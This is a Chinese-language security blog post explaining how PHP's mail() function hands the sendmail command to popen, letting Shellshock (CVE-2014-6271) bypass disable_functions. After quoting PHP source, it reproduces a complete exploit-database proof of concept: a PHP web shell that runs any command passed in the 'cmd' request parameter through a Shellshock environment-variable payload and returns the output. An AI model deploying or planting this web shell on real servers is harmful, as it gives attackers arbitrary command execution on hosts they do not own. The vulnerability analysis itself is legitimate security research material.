PHP Execute Command Bypass Disable_functions

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phith0n (我也不会难过 你不要小看我) | 2014-11-18 14:09

先简单说一下php调用mail()函数的过程。
看到源码ext/mail.c

236行：
char *sendmail_path = INI_STR("sendmail_path");
char *sendmail_cmd = NULL;

从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的：

; For Unix only.  You may supply arguments as well (default: "sendmail -t -i").
;sendmail_path =

注释中可以看到，send_mail默认值为"sendmail -t -i".

extra_cmd（用户传入的一些额外参数）存在的时候，调用spprintf将sendmail_path和extra_cmd组合成真正执行的命令行sendmail_cmd 。不存在则直接将sendmail_path赋值给sendmail_cmd 。
如下：
if (!sendmail_path) {
#if (defined PHP_WIN32 || defined NETWARE)
    /* handle old style win smtp sending */
    if (TSendMail(INI_STR("SMTP"), &tsm_err, &tsm_errmsg, hdr, subject, to, message, NULL, NULL, NULL TSRMLS_CC) == FAILURE) {
      if (tsm_errmsg) {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", tsm_errmsg);
        efree(tsm_errmsg);
      } else {
        php_error_docref(NULL TSRMLS_CC, E_WARNING, "%s", GetSMErrorText(tsm_err));
      }
      MAIL_RET(0);
    }
    MAIL_RET(1);
#else
    MAIL_RET(0);
#endif
  }
  if (extra_cmd != NULL) {
    spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd);
  } else {
    sendmail_cmd = sendmail_path;
  }

之后执行：

#ifdef PHP_WIN32
  sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSRMLS_CC);
#else
  /* Since popen() doesn't indicate if the internal fork() doesn't work
   * (e.g. the shell can't be executed) we explicitly set it to 0 to be
   * sure we don't catch any older errno value. */
  errno = 0;
  sendmail = popen(sendmail_cmd, "w");
#endif

将sendmail_cmd丢给popen执行。
如果系统默认sh是bash，popen就会丢给bash执行。而之前的bash破壳（CVE-2014-6271）漏洞，直接导致我们可以利用mail()函数执行任意命令，绕过disable_functions。

影响版本：php 各版本

修复方法：修复CVE-2014-6271

给出POC（http://www.exploit-db.com/exploits/35146/）如下：

<?php
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271

function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
   $tmp = tempnam(".","data");
   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
   // In Safe Mode, the user may only alter environment variableswhose names
   // begin with the prefixes supplied by this directive.
   // By default, users will only be able to set environment variablesthat
   // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
   // PHP will let the user modify ANY environment variable!
   mail("[email protected]","","","","-bv"); // -bv so we don't actuallysend any mail
   $output = @file_get_contents($tmp);
   @unlink($tmp);
   if($output != "") return $output;
   else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>